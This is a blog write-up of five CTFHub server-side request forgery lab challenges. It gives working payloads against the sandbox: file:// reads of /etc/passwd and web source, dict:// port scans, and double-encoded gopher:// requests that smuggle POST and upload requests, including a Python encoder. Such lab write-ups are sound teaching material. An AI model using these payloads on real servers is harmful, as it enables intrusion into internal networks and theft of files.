SSRF detailed explanation based on CTFHub (Part 1)

     This article will briefly explain SSRF (Server Request Forgery). Through the example questions on CTFHub, let readers understand the basic principles, utilization methods, bypass methods, etc. of SSRF. The address of CTFHub is: CTFHub

Table of contents

Introduction to SSRF

The first question intranet access

The second question pseudo-protocol read file

The third question port scanning

Question 4 POST request 

Question 5 upload file

epilogue


Introduction to SSRF

Many web applications provide the function of obtaining data from other servers. Using the URL specified by the user, the web application can fetch images, download files, read the contents of files, etc. If this function is used maliciously, it can use the flawed web application as a proxy to attack remote and local servers. This form of attack is called Server-side Request Forgery.
Server-side request forgery (Server-Side Request Forgery, SSRF) refers to when an attacker fails to obtain all permissions of the server, he uses a server vulnerability to send a constructed request to the intranet where the server is located. Therefore, SSRF attacks usually target internal systems that cannot be directly accessed by external networks.

To put it simply, SSRF means that a server in an intranet (with SSRF vulnerabilities) is used by an attacker and becomes a springboard for attacks on the intranet where the server is located, such as data theft, uploading webshells, etc. The specific introduction of SSRF will be explained in detail in the follow-up blog. Here we mainly explain the topics on CTFHub. Through these examples, readers should be able to quickly understand the usage scenarios and attack bypass methods of SSRF.

 

The first question intranet access

 This topic is to let everyone feel SSRF intuitively. The inspection point is the http protocol in the url pseudo-protocol.

 After opening it is an empty page

 

 We see that a parameter url=_ is submitted with get in the url. The title says to try to access the flag of 127.0.0.1. Let’s try whether the http protocol can be used first, and then add http://www.baidu.com to try , found that you can visit Baidu, the complete URL is http://challenge-04bdf85cb29468bd.sandbox.ctfhub.com:10800/?url=http://www.baidu.com

 

 Then we visited the local 127.0.0.1/flag.php according to the topic prompt, and the flag appeared directly, which was ctfhub{c43149a833198049203016f3}

The second question pseudo-protocol read file

 

The test point of this topic is to use the url pseudo-protocol file to read the file. The topic has given a hint that it is in the web directory. Generally, the web directory of the linux server is /var/www/html, and we can construct it directly. Opening the question, like the first question, is also an empty interface. We use the php pseudo-protocol to see if we can directly read the flag in the web directory, that is, url=file:///var/www/html/flag.php. After opening it, we find three question marks in the page:

 F12 to look at the source code of the webpage, get the flag, it is ctfhub{b4bc77708335be65d75bafe3}

By the way, you can also use the file protocol to detect any file on the intranet server, such as reading sensitive information /etc/passwd, here url=file:///etc/passwd, see, how dangerous SSRF is!

The third question port scanning

 The core of this question needs to use the pseudo-protocol dict:// for port scanning: this protocol will leak software version information, ports, operate intranet redis access, etc. Of course, this question can also use the pseudo-protocol http.

 The title suggests that the port range is 8000-9000, let’s try it with 8000 first, and fill in dict://127.0.0.1:8000 in the url (you can also fill in http://127.0.0.1:8000), as shown in the figure below , as expected, see nothing.

 

 We don't know which port is in the range of 8000-9000, so use burp to capture packets and blast it. Capture packets after opening burp, right click and send to the attacker intruder, because only the port needs to be blasted, just choose sniper

 Select the value number as the payload type, From:8000 To:9000

Click start attack, wait for 1001 data to run, and then sort the results according to the length of the returned packet.

 It is found that the packet length when 8729 is used as the payload is different from others, and it is estimated that this is the corresponding port. We filled in http://127.0.0.1:8729 in the url and successfully got the flag, which is ctfhub{6b774fbbbaee7e3122090439}

Question 4 POST request 

Compared with the previous three questions, the difficulty of this question has risen linearly. The test point of this question is to use the url pseudo-protocol gopher to send a post request.

 Open it to see if it is still a blank page, use the http protocol to see if you can access flag.php, url=http://127.0.0.1/flag.php

There really are! It feels like you just need to fill in the corresponding content in this box, f12 to view the source code:

This key is directly told to us (key=b73cfcee3cb5781edf09a058769527f5), give it a try, fill in this key and press Enter. Sure enough, it is not that simple, the page jumps, and there is a reminder: only local access is supported, as shown below:

Okay, then I will try to capture and change the packet, and change the host to the local 127.0.0.1 soon?

 Then change the Host in the above picture to 127.0.0.1, and put the package. Sure enough, it is not that simple. The interface shown in the figure below appears (triggering 302 redirection. There is an easter egg in the source code of this interface, but it is not related to this question. What does it matter)

 

 Continue to put the bag and return to the previous page

It seems that this method does not work. At this time, I thought of the gopher pseudo-protocol (curl supports gopher), and sent GET or POST requests (need to cooperate with the HTTP protocol for secondary url encoding upload); this question uses gopher to send POST requests, and the format of gopher is gopher://<host>:<port>/<gopher-path>_ is followed by a tcp stream. The default pseudo gopher://127.0.0.1:80/_ is followed by a post request. The complete gopher request is as follows:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key= b73cfcee3cb5781edf09a058769527f5

Then we url-encode it (see the file upload in the next question for the python code ), and pay attention when encoding:

  1. The question mark (?) needs to be converted to URL encoding, which is %3f (this question does not involve this question)
  2. Carriage return and line feed should be changed to %0d%0a, but if you use tools directly, there may only be %0a
  3. Add %0d%0a at the end of the HTTP packet to represent the end of the message (specifically, you can study the end of the HTTP packet)

How many times do you need to url encode? This question is equivalent to two requests (the post request itself is counted as one, and put into url=gopher... is counted as the second time), so two url encodings are required, and the encoding result is:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=b73cfcee3cb5781edf09a058769527f5%250d%250a 

Put the encoded result into the url, as shown in the figure below, the flag is successfully obtained, and the complete url is:

http://challenge-a6c9f8239da7c00d.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=b73cfcee3cb5781edf09a058769527f5%250d%250a

 By the way, you can use the file protocol to find the source code flag.php and index.php for this topic (you can scan it with Dirserach, Yujian, etc., or you can guess based on the previous questions, the location is var/www/html/ ), as shown in the figure below, curl is indeed used in index.php

 The following figure is the source code of flag.php:

Question 5 upload file

 

 The idea of ​​this question is the same as that of the previous question. The gopher protocol is used to implement the corresponding POST request, but the POST of this question is changed to upload a file. We first check flag.php with the flie protocol, the result is as follows, the path is file:///var/www/html/flag.php

View the source code of the web page, which means that it should be accessed from 127.0.0.1, upload a file casually, and the flag should be returned. The source code of flag.php is as follows:

Let's take a look at url=127.0.0.1/flag.php, as shown below:

I found that there is no "submit" button on this page, but it doesn't matter, the front end is a paper tiger, so we can add it to him, just change the source code with F12:

 Isn't this what it is:

Then we upload a file casually, and we will be prompted that we can only access it from 127.0.0.1.

 

 

grab a bag

 Change the host to 127.0.0.1, it is useless, it is still the same as the previous question

 Then it is estimated that the gopher protocol is still used. The complete package is as follows:

POST /flag.php HTTP/1.1

Host: 127.0.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845

Content-Length: 354

Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800

Connection: close

Refer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

Upgrade-Insecure-Requests: 1

-----------------------------316258355439872129751386223845

Content-Disposition: form-data; name="file"; filename="try.txt"

Content-Type: text/plain

I am BossFrank

-----------------------------316258355439872129751386223845

Content-Disposition: form-data; name="aaa"

æ交查询

-----------------------------316258355439872129751386223845—

We need to encode the URL twice for this package, just write it in python:

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845
Content-Length: 354
Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="file"; filename="try.txt"
Content-Type: text/plain

I am BossFrank
-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="aaa"

æ交æ¥è¯¢
-----------------------------316258355439872129751386223845--

"""  

#注意payload的最后一行是回车(空行),表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
new2 = urllib.parse.quote(new)
result = 'gopher://127.0.0.1:80/_'+new2
print(result)       # 这里因为是GET请求所以要进行两次url编码

 Run the code, the generated encoded result is as follows:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------316258355439872129751386223845%250D%250AContent-Length%253A%2520354%250D%250AOrigin%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522try.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250AI%2520am%2520BossFrank%250D%250A-----------------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------316258355439872129751386223845--%250D%250A%250D%250A

Finally, put this huge encoding result into the url, and successfully get the flag:

epilogue

 In order to avoid this blog being too long, I decided to put the latter topic in the next blog. This article mainly uses five topics to briefly explain the principle of SSRF, and introduces four url pseudo-protocols that exploit SSRF vulnerabilities, namely file, http, dict, and gopher. Among them, gopher is the most complicated. These protocols are briefly introduced as follows:

file:// Obtain file content from the file system, read local files
dict:// dictionary server protocol, access dictionary resources, view ports, operate intranet redis access, etc.
http:// detect intranet host survival and port opening , you can determine the survival by visiting other websites
gopher:// Distributed document delivery service, send GET or POST request (need to cooperate with http protocol for secondary url encoding upload); you can use gopherus to generate payload, apply FastCGI, Redis and other intermediates to the intranet Attacks on files (the focus of the next article)

The next article will answer the questions about SSRF in CTFHub in detail, and make a summary of SSRF in the follow-up blog. I hope readers will support me a lot.

Guess you like

Origin blog.csdn.net/Bossfrank/article/details/130431117
Recommended